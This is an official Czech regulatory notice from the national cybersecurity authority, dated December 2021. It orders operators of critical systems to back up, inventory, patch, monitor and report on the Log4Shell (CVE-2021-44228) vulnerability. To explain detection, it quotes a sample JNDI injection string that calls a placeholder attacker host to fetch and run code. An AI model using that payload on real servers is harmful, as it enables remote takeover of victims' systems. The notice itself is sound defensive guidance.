Národní úřad pro kybernetickou a informační bezpečnost
Mučednická 1125/31
616 00 Brno – Žabovřesky
IČO: 05800226
ID datové schránky: zzfnkp3

Spisová značka:
350 - 1388/2021
Číslo jednací:
10997/2021-NÚKIB-E/350

Brno, 15. prosince 2021

Vyřizuje:
Martin Švéda

VEŘEJNÁ VYHLÁŠKA

OPATŘENÍ OBECNÉ POVAHY

Národní úřad pro kybernetickou a informační bezpečnost se sídlem Brno, Mučednická 1125/31, PSČ 616 00 (dále jen „Úřad“) jako příslušný ústřední správní úřad podle § 22 písm. b) zákona č. 181/2014 Sb., o kybernetické bezpečnosti a o změně souvisejících zákonů (zákon o kybernetické bezpečnosti), ve znění pozdějších předpisů (dále jen „zákon o kybernetické bezpečnosti“),

stanovuje

na základě § 13 odst. 3 zákona o kybernetické bezpečnosti a postupem podle § 15 zákona o kybernetické bezpečnosti a § 171, § 173 a § 174 zákona č. 500/2004 Sb., správního řádu, ve znění pozdějších předpisů, toto **reaktivní opatření k zabezpečení informačních systémů nebo sítí a služeb elektronických komunikací před kybernetickým bezpečnostním incidentem. Reaktivní opatření se skládá z následujících úkonů, které jsou povinné osoby podle § 3 písm. c) až f) zákona o kybernetické bezpečnosti povinny ve stanovené lhůtě provést:**

1. **Vytvořit offline zálohy aktiv, která jsou kritická pro fungování organizace, a zkontrolovat jejich konzistenci. Zároveň provést kontrolu dostupnosti a konzistence posledních záloh těchto aktiv vytvořených před 1. prosincem 2021.**

   Tento úkon je potřeba provést neprodleně od účinnosti tohoto reaktivního opatření a to s nejvyšší prioritou.

2. **Provést inventuru aktiv v systému a vyhledat ta aktiva, která obsahují komponenty Apache Log4j 2 ve verzích 2.0–2.14.1.**

   2.1. U aktiv, která neumožňují provést konfigurační změny Apache Log4j 2 nebo která nejsou ve plné správě organizace, kontaktovat dodavatele nebo výrobce těchto aktiv

nebo vyhledat vyjádření těchto dodavatelů ke zranitelnosti a provést nebo zohlednit jimi vydané instrukce.

2.2. U aktiv, kde je možné provést konfigurační změny komponenty Apache Log4j 2 postupovat podle úkonů 3. nebo 4. tohoto reaktivního opatření.

Tento úkon je potřeba provést neprodleně od účinnosti tohoto reaktivního opatření.

3. S nejvyšší prioritou u aktiv dostupných ze sítě Internet provést u aktiv obsahujících komponentu Apache Log4j 2 verze 2.0–2.14.1 kroky směřující ke zmírnění následků zneužití (tj. mitigaci) zranitelnosti CVE-2021-44228.

3.1. U aktiv, v rámci kterých je možný přístup ke komponentně Apache Log4j 2, provést aktualizaci Apache Log4j 2 na verzi 2.15.0 RC2 nebo vyšší, pokud je to možné.

3.2. V ostatních případech, zejména pokud aktualizace není možná, omezit zranitelné funkce Apache Log4j 2 a zajistit v rámci ochranných technologií aktiva (firewall, WAF, IPS a dalších) aktualizaci signatur a detekčních pravidel pro mitigaci zranitelnosti CVE-2021-44228, pokud je výrobce dané technologie poskytuje.

Tento úkon je potřeba provést neprodleně od identifikace aktiva obsahujícího komponentu Apache Log4j 2 ve verzích 2.0–2.14.1.

4. Pokud mitigace podle úkonu 3. není možná neprodleně, provést s ohledem na kritickou závažnost zranitelnosti zhodnocení alternativních možností řešení, zejména omezení odchozí komunikace zahájené ze strany systému do Internetu nebo úplné odpojení systému od sítě, a tato řešení co nejdříve provést.

Zhodnocení alternativních možností řešení v případě nemožnosti provést mitigaci podle úkonu 3. je potřeba provést neprodleně od identifikace aktiva obsahujícího komponentu Apache Log4j 2 verze 2.0–2.14.1.

5. U aktiv obsahujících komponentu Apache Log4j 2 provést kontrolu, zda již nedošlo ke kompromitaci skrze zranitelnost CVE-2021-44228. V rámci kontroly provést minimálně následující kroky:

5.1. Kontrola logů generovaných zranitelnou knihovnou – provést vyhledání řetězců obsahujících volání Java Naming and Directory Interface v lozích systému generovaných komponentou Log4j a v záznamech firewallu či WAF tohoto aktiva.

Kontrolu logů je potřeba provést nejdříve za období od 1. prosince 2021 do data účinnosti tohoto reaktivního opatření a následně v pravidelných přiměřených intervalech do provedení úkonů podle bodů 2.1., 3. nebo 4.

5.2. Monitorovat síťový provoz systému na anomálie, zejména odchozí komunikaci do internetu protokolem LDAP nebo RMI, a odchozí provoz zahájený ze strany serveru, pokud se jedná v kontextu účelu serveru o nestandardní chování.

Monitoring je potřeba provádět kontinuálně do provedení úkonů podle bodů 2.1., 3. nebo 4.

5.3. V případě pozitivního nálezu v bodu 5.1. nebo 5.2. provést komplexní audit všech relevantních aktiv.

Jednotlivé činnosti v rámci úkonu 5. je potřeba zahájit neprodleně.

6. Nahlásit Úřadu aktuální rozsah veřejných DNS záznamů nebo veřejných IP adres, nebo Úřadu oznámit, že dříve nahlášené záznamy a adresy jsou aktuální.

Tento úkon je potřeba provést nejpozději do 31. prosince 2021.

Toto reaktivní opatření jako celek, tj. všechny úkony v něm uložené, je potřeba provést v souladu se lhůtami stanovenými pro jednotlivé úkony, nejpozději však do dne 31. ledna 2022.

Orgány a osoby uvedené v § 3 písm. c) až f) zákona o kybernetické bezpečnosti jsou povinny oznámit Úřadu provedení reaktivního opatření a jeho výsledek bez zbytečného odkladu. **Oznámení provedení tohoto reaktivního opatření proveďte tedy až po realizaci všech úkonů, a to bez zbytečného odkladu, nejpozději však do 7. února 2022.**

Orgány a osoby uvedené v § 3 písm. c) až f) zákona o kybernetické bezpečnosti, které některé výše uvedené úkony již do dne účinnosti tohoto reaktivního opatření provedly, nemusí tyto konkrétní úkony provádět opakovaně. Informaci o provedení jednotlivých úkonů a způsobu jejich provedení tyto orgány a osoby oznámí Úřadu v rámci oznámení provedení tohoto reaktivního opatření.

Orgány a osoby, které se stanou povinnými osobami dle § 3 písm. c) až f) zákona o kybernetické bezpečnosti po dni účinnosti tohoto reaktivního opatření, u nichž je toto reaktivní opatření relevantní, musí všechny výše uvedené úkony splnit do jednoho měsíce od svého určení či identifikace a poté bez zbytečného odkladu oznámit Úřadu výsledek jeho provedení.

ODŮVODNĚNÍ

V případě výskytu kybernetického bezpečnostního incidentu jej neprodleně hlaste Vládnímu CERT prostřednictvím standardních způsobů[1], případně využijte pohotovostní linku na telefonním čísle +420 725 502 878.

1. Národní úřad pro kybernetickou a informační bezpečnost jako ústřední orgán státní správy podle § 2 bodu 16 zákona č. 2/1969 Sb., o zřízení ministerstev a jiných ústředních orgánů státní správy České republiky, ve znění pozdějších předpisů, a podle § 22 písm. b) zákona o kybernetické bezpečnosti, dospěl k vydání tohoto opatření obecné povahy za

[1] souhrnné informace: https://www.nukib.cz/cs/kyberneticka-bezpecnost/vladni-cert/hlaseni-incidentu/

účelem zabezpečení informačních systémů nebo sítí a služeb elektronických komunikací před kybernetickým bezpečnostním incidentem tak, jak je uvedeno ve výroku tohoto opatření obecné povahy. K vydání tohoto opatření obecné povahy dochází na základě toho, že dne 9. prosince 2021 byla zveřejněna informace o zranitelnosti knihovny Apache Log4j 2 s identifikátorem CVE-2021-44228[2] a označovaná jako „Log4Shell“, vyskytující se na široce rozšířené komponentě Log4j obsažené v celé řadě systémů vytvořených v programovacím jazyce Java. Zranitelnost postihuje potenciálně velké množství komerčních i open-source systémů, které používají Log4j ve verzích 2.0–2.14.1 k zaznamenávání událostí v systému (tj. logování). Zranitelnost spočívá ve zneužitelné intepretaci zaznamenaných událostí, kdy jsou specifické řetězce interpretovány jako příkaz po uložení do logu. Tato zranitelnost byla v rámci Common Vulnerability Scoring System[3] hodnocena hodnotou 9.8 a následně přehodnocena na 10.0, přičemž 10.0 je maximální hodnota, které může hodnocení zranitelnosti dosáhnout. Pro zneužití této zranitelnosti totiž stačí naplnění těchto podmínek:

- na systému je spuštěn software, který k logování využívá komponentu Log4j ve verzi 2.0–2.14.1, a zároveň
- systém je dostupný prostřednictvím sítě a umožňuje příjem textových řetězců libovolným způsobem přes libovolný protokol.

Tyto informace jsou v rámci spisu evidovány jako příloha č. j. 10996/2021-NÚKIB-E/350.

2. **V důsledku zneužití této zranitelnosti může útočník jednoduše provádět neoprávněné činnosti, tj. získat s minimem úsilí i plnou kontrolu nad systémem organizace.** V současné době Úřad eviduje řadu pokusů o skenování systémů i aktivní zneužívání této zranitelnosti, stejně tak jsou tyto činnosti hlášeny i mezinárodně a jejich výskyt narůstá exponenciální rychlostí.[4]

3. Z výše uvedených důvodů a s ohledem na nutnost přistoupit k řešení problematické situace nejen vůči konkrétnímu orgánu nebo osobě nebo skupině orgánů a osob podle zákona o kybernetické bezpečnosti přistoupil Úřad k vydání opatření obecné povahy pro blíže neurčený okruh orgánů nebo osob postupem podle § 13 odst. 3 zákona o kybernetické bezpečnosti.

4. **Toto opatření obecné povahy ukládá podle § 11 odst. 3 písm. b) zákona o kybernetické bezpečnosti provedení reaktivního opatření uvedeného ve výroku všem správcům a provozovatelům informačního nebo komunikačního systému kritické informační**

[2] dostupné na https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228, nebo na https://nvd.nist.gov/vuln/detail/CVE-2021-44228
[3] dostupné na https://www.first.org/cvss/
[4] dostupné např. na https://blog.checkpoint.com/2021/12/13/the-numbers-behind-a-cyber-pandemic-detailed-dive/?fbclid=IwAR1ZGSFmyoqzurwIkCLUb1vfeO0DJbdUKb3fG9QgfFQFYa-QYeWHhPfv0iY

infrastruktury, významného informačního systému nebo informačního systému základní služby.

5. V případě poskytovatelů služby elektronických komunikací, subjektů zajišťujících sítě elektronických komunikací a orgánů nebo osob zajišťujících významné sítě podle zákona o kybernetické bezpečnosti platí, že opatření obecné povahy podle § 11 odst. 3 písm. a) zákona o kybernetické bezpečnosti ukládá těmto osobám povinnost provedení reaktivního opatření pouze v případě vyhlášení stavu kybernetického nebezpečí nebo nouzového stavu. Nouzovým stavem, o kterém hovoří § 11 odst. 3 písm. a) zákona o kybernetické bezpečnosti, je však myšlen toliko nouzový stav vyhlášený v návaznosti na stav kybernetického nebezpečí vyhlašovaný ředitelem Úřadu podle § 21 zákona o kybernetické bezpečnosti (tj. na situaci, kdy je nouzový stav vyhlášen z důvodu, že ohrožení bezpečnosti informací v informačních systémech nebo bezpečnosti služeb anebo bezpečnosti a integrity sítí elektronických komunikací není možné odvrátit v rámci stavu kybernetického nebezpečí), nikoli každý nouzový stav. Za současné situace se tedy povinnost osob podle § 3 písm. a) a b) zákona provést reaktivní opatření neuplatní.

6. Reaktivní opatření, jak je specifikováno ve výroku tohoto opatření obecné povahy, obsahuje sadu úkonů, jejichž provedení je nezbytné k zabezpečení informačních systémů nebo sítí a služeb elektronických komunikací před kybernetickým bezpečnostním incidentem. S ohledem na povahu zranitelnosti nejsou aktuálně známy dostatečně konkrétní informace zcela zaručeného a jednoduchého postupu k identifikaci této zranitelnosti v systému nebo postupu její opravy. Jelikož v tuto chvíli není ani zřejmé kolika systémů se zranitelnost týká a nemusí být možné bez informací od dodavatele nebo vývojářů zjistit, zda aktiva komponentu Log4j obsahují, jsou ve výroku uvedené obecné úkony jedinými dostatečně konkrétními kroky.

7. K úkonu 1. – Zálohování potenciálně zranitelného aktiva je nejefektivnější způsob jak předejít ztrátě dat v případě např. ransomware útoku a přestože je tato činnost běžnou součástí provádění bezpečnostních opatření podle vyhlášky č. 82/2018 Sb., o bezpečnostních opatřeních, kybernetických bezpečnostních incidentech, reaktivních opatřeních, náležitostech podání v oblasti kybernetické bezpečnosti a likvidaci dat (vyhláška o kybernetické bezpečnosti), je v tomto případě potřeba provést preventivní offline zálohy aktiv, která jsou pro organizaci kritická. Zároveň je potřeba provést kontrolu dostupnosti a konzistence záloh těchto aktiv, pokud tyto zálohy byly vytvořeny před 1. prosincem 2021, tedy před zveřejněním zranitelnosti. Tento postup může velmi výrazně přispět k tomu, že v případě potřeby obnovy budou zálohy skutečně funkční.

8. K úkonu 2. – Provedení inventury aktiv systému v rámci organizace je nutné pro identifikaci komponent obsahujících danou zranitelnost. S ohledem na široké využití komponenty Log4j je potřeba mít na paměti, že se může jednat o celou řadu zařízení, například také i o specializovanou techniku, síťové prvky a další aktiva. K vyhledání

vyjádření výrobců ke zranitelnosti CVE-2021-44228 lze využít například průběžně aktualizované seznamy spravované NSCS-NL nebo CISA:

- https://github.com/NCSC-NL/log4shell/blob/main/software/README.md
- https://github.com/cisagov/log4j-affected-db

K detekci zranitelných systémů lze též provést aktivní interní či externí sken aktiv. K tomuto účelu je bezpečností komunitou vyvíjeno a publikováno řada nástrojů, **Úřad ovšem upozorňuje, že tyto nástroje nebyly testovány a je jejich použití je zcela na zvážení organizace**. Za příklady lze uvést např. moduly pro testovací nástroje Nessus, BurpSuite, nebo externí sken společnosti Huntress:

- https://portswigger.net/bappstore/b011be53649346dd87276bca41ce8e8f
- https://community.tenable.com/s/question/0D5f200004yOlklCAC/nessus-scan-on-selected-capabilities-shell
- https://log4shell.huntress.com/

9. K úkonu 3. – V případě plného přístupu k aktivu, které využívá komponentu Log4j, je potřeba provést opravu zranitelnosti ke znemožnění útoku. Opravu lze provést:

   - aktualizací na verzi 2.15 RC2, nebo vyšší, nebo
   - odstraněním zranitelné třídy JndiLookup z cesty:
     `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class`

     pokud aktualizace není z odůvodnitelných případů možná.

   Technické detaily mitigace zranitelnosti a postupy jejich aplikace lze též nalézt na oficiálních stránkách Apache Foundation:

   https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44228

10. K úkonu 4. – Jelikož zranitelnost je spojena s vysokou hrozbou neoprávněného přístupu, což může v důsledku vést k celkové kompromitaci či nedostupnosti systému, je třeba zvážit všechny možné dopady zneužití zranitelnosti. V případě, že tyto dopady převýší akceptovatelnou míru rizika je třeba zvážit omezení odchozího spojení do internetu.

11. K úkonu 5. – K vyvolání efektu zranitelnosti dochází v momentě zaslání záznamu obsahujícího textový řetězec interpretovaný v jazyce Java jako JNDI lookup do logu Log4j, např. `"${jndi:ldap://adresa-utocnika:port/prikaz}"`. V současné době jsou identifikovány celkem čtyři používané metody – jndi:ldap, jndi:ldaps, jndi:dns a jndi:rmi. **Nález těchto řetězců v logu aplikace vytvořené komponentou Log4j značí pokus**

o zneužití zranitelnosti, úspěšně provedený příkaz ovšem nebude zaznamenán. Kontrolu tedy doporučujeme provést na firewallu či WAF, který zaznamenává externí příchozí požadavky před jejich zpracováním v komponentě Log4j. Potenciální úspěšné zneužití zranitelnosti lze zjistit porovnáním logu z firewallu a logů vytvořených Log4j a identifikací záznamů obsahující závadné řetězce, které v logu Log4j chybí. **Úřad ovšem upozorňuje, že vzhledem k neomezeným způsobům obfuskace nemusí být žádné vyhledání na bázi regulárních výrazů spolehlivé a negativní výsledek není zárukou**. K vyhledání řetězců lze s aktuálním stavem poznání využít například pravidla a vzorce, které publikoval analytik Florian Roth:

https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

Příklady řetězců používaných k útokům lze nalézt např. na:

https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890

12. K úkonu 6. – Povinnost nahlásit Úřadu aktuální rozsah veřejných DNS záznamů nebo veřejných IP adres je sice již nyní dobrovolnou součástí hlášení kontaktních údajů, které orgány a osoby podle zákona o kybernetické bezpečnosti zasílají Úřadu, nicméně v rámci tohoto reaktivního opatření je tento úkon uložen povinně, neboť se jedná o základní informace, které jsou pro Úřad, resp. vládní CERT, nezbytné pro řádný výkon jeho činností spočívajících v provádění vyhledávání a hodnocení výskytu řešené zranitelností a hodnocení s ní souvisejících hrozeb. Z tohoto důvodu je potřeba mít tyto údaje aktuální. Tyto informace je potřeba zaslat Úřadu, nejlépe přímo na adresu cert.incident@nukib.cz.

13. Podrobnější princip zranitelnosti a fungování jejího zneužití ke vzdálenému spuštění kódu je následující:

    - systém obdrží požadavek obsahující řetězec interpretovaný v rozhraní Java Naming and Directory Interface "jndi:ldap, jndi:ldaps, jdni:dns nebo jndi:rmi", např. "`${jndi:ldap://adresa-utocnika:port/prikaz}`",
    - aplikace požadavek uloží do logu,
    - zranitelná funkce komponenty Log4j způsobí, že řetězec v logu je vyhodnocen jako legitimní příkaz a dojde k jeho spuštění,
    - server zašle požadavek na danou adresu útočníka a jako odpověď obdrží škodlivý kód připravený v programovacím jazyku Java,
    - kód se vloží do běžícího procesu, čímž dojde k vykonání příkazů.

14. Dalšími vhodnými nástroji pro mitigaci a skenování mohou být (s aktuálním stavem poznání) také např. nástroje uvedené zde:

    - https://github.com/NCSC-NL/log4shell/tree/main/mitigation

- https://github.com/NCSC-NL/log4shell/tree/main/scanning

Také v tomto případě však Úřad upozorňuje, že tyto nástroje nebyly testovány a je jejich použití je zcela na zvážení organizace.

15. Pro další informace sledujte internetové stránky Úřadu (https://www.nukib.cz/), především Infoservis Hrozeb a zranitelností https://www.nukib.cz/cs/infoservis/hrozby/.

16. Správci a provozovatelé informačního nebo komunikačního systému kritické informační infrastruktury, významného informačního systému nebo informačního systému základní služby podle zákona o kybernetické bezpečnosti jsou povinni oznámit Úřadu provedení reaktivního opatření a jeho výsledek bez zbytečného odkladu. Nejzazší lhůta pro oznámení provedení tohoto reaktivního opatření a jeho výsledku je 7. února 2022. Pokud bude toto reaktivní opatření provedeno jako celek nejpozději k 31. lednu 2022, bude oznámení doručené do 7. února 2022 považováno za oznámení bez zbytečného odkladu. Podle § 13 odst. 4 zákona o kybernetické bezpečnosti stanoví náležitosti oznámení prováděcí právní předpis.

17. Podle § 33 odst. 2 vyhlášky o kybernetické bezpečnosti oznámí způsob provedení reaktivního opatření a jeho výsledek dotčené orgány a osoby ve formě uvedené na internetových stránkách Úřadu. Forma oznámení je uvedena zde:

    https://www.nukib.cz/cs/kyberneticka-bezpecnost/regulace-a-kontrola/formulare/

18. Provedení reaktivního opatření oznámí dotčené orgány a osoby Úřadu i v případě, že uložené úkony již do dne účinnosti tohoto reaktivního opatření provedly, a také v tom případě, že věcně nebudou jednotlivé úkony reaktivního opatření pro jejich informační systémy a služby a sítě elektronických komunikací relevantní (např. prokazatelně nepoužívají systémy obsahující komponentu Log4j, která je předmětem reaktivního opatření). V takovém případě tyto orgány a osoby oznámí Úřadu důvody neprovedení reaktivního opatření.

19. Podle § 33 odst. 1 vyhlášky o kybernetické bezpečnosti jsou správci a provozovatelé informačního nebo komunikačního systému kritické informační infrastruktury, významného informačního systému nebo informačního systému základní služby, stejně tak jako poskytovatelé digitálních služeb, kterým Úřad uložil provést reaktivní opatření, povinni posoudit očekávané dopady reaktivního opatření na informační a komunikační systém a na zavedená bezpečnostní opatření a vyhodnotit možné negativní účinky a stanovit způsob rychlého provedení tohoto reaktivního opatření, který minimalizuje jeho možné negativní účinky. Stejně tak jsou povinni určit časový plán provedení reaktivního opatření.

20. Úřad upozorňuje, že orgány nebo osoby, které jsou povinny zavést bezpečnostní opatření podle zákona o kybernetické bezpečnosti, v souvislosti s řízením rizik podle § 5 odst. 1 písm. h) bod 3 vyhlášky o kybernetické bezpečnosti, při hodnocení rizik a v plánu zvládání rizik zohlední opatření podle § 11 zákona o kybernetické bezpečnosti. Jedním z těchto opatření je i reaktivní opatření podle § 13 odst. 3 zákona o kybernetické bezpečnosti.

21. Úřad dále upozorňuje, že v souladu s § 4 odst. 4 zákona o kybernetické bezpečnosti jsou orgány a osoby uvedené v § 3 písm. c) až f) zákona o kybernetické bezpečnosti povinny zohlednit požadavky vyplývající z bezpečnostních opatření při výběru dodavatele pro jejich informační nebo komunikační systém a tyto požadavky zahrnout do smlouvy, kterou s dodavatelem uzavřou. Za plnění této povinnosti lze považovat například zasmluvnění řízení zranitelností s daným dodavatelem. Zohlednění požadavků vyplývajících z bezpečnostních opatření podle věty první v míře nezbytné pro splnění povinností podle zákona o kybernetické bezpečnosti nelze považovat za nezákonné omezení hospodářské soutěže nebo neodůvodněnou překážku hospodářské soutěži.

22. V souvislosti s tímto reaktivním opatřením se ve případě technických dotazů nebo dotazů na obsah jednotlivých uložených úkonů prosím obracejte na cert.incident@nukib.cz. V případě mediálních dotazů se prosím obracejte na tiskovou mluvčí Úřadu na dotazy.media@nukib.cz. V případě dalších dotazů, především právní povahy, týkajících se reaktivního opatření se prosím obracejte na regulace@nukib.cz.

POUČENÍ

Toto opatření obecné povahy se doručuje postupem podle § 25 správního řádu veřejnou vyhláškou na úřední desce Úřadu. Opatření obecné povahy podle § 14 zákona o kybernetické bezpečnosti nabývá na základě § 15 odst. 1 zákona o kybernetické bezpečnosti účinnosti okamžikem jeho vyvěšení na úřední desce Úřadu. Ustanovení § 172 správního řádu se nepoužije. Na základě § 15 odst. 2 zákona o kybernetické bezpečnosti lze k opatření obecné povahy vydanému podle § 14 uplatnit připomínky, a to ve lhůtě 30 dnů ode dne jeho vyvěšení na úřední desce Úřadu. Úřad může na základě uplatněných připomínek opatření obecné povahy změnit nebo zrušit.

Digitálně podepsal:
Ing. Karel Řehka
Národní úřad pro kybernetickou a informační bezpečnost
Dne: 15.12.2021 14:38

NÚKIB

Ing. Karel Řehka
ředitel
elektronicky podepsáno

Vyvěšeno dne: .....

Sejmuto dne: .....